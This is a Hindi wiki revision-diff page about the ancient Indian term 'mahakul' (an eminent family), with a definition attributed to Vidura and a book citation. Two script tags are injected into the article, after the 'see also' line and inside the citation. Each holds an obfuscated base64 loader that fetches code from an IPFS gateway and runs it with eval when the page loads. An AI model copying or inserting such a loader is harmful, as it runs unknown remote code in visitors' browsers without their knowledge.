"महाकुल" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replacement - "==संबंधित लेख==" to "==संबंधित लेख== {{पाणिनिकालीन शब्दावली}}")
 
पंक्ति 14: पंक्ति 14:
 
{{पाणिनिकालीन शब्दावली}}
 
{{पाणिनिकालीन शब्दावली}}
  
[[Category:पाणिनिकालीन शब्दावली]][[Category:प्राचीन भारत का इतिहास]][[Category:महाभारत]][[Category:इतिहास कोश]]
+
[[Category:पाणिनिकालीन शब्दावली]]
 +
[[Category:पाणिनिकालीन भारत]][[Category:प्राचीन भारत का इतिहास]][[Category:महाभारत]][[Category:इतिहास कोश]]
 
__INDEX__
 
__INDEX__

10:10, 6 मई 2018 के समय का अवतरण

महाकुल पाणिनिकालीन भारतवर्ष में प्रतिष्ठित और यशस्वी कुल को कहा जाता था। समाज में उनका स्थान बहुत ऊंचा माना जाता था।

विदुर ने उत्तर दिया- 'तप, दम, ब्रह्मज्ञान, यज्ञ, पुण्यविवाह, सदा अन्न दान और सम्यक आचार ये सात गुण जिनमें हों, वे महाकुल कहलाते हैं।'[1]


इन्हें भी देखें: पाणिनि, अष्टाध्यायी एवं भारत का इतिहास<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. पाणिनीकालीन भारत |लेखक: वासुदेवशरण अग्रवाल |प्रकाशक: चौखम्बा विद्याभवन, वाराणसी-1 |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 109-110 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख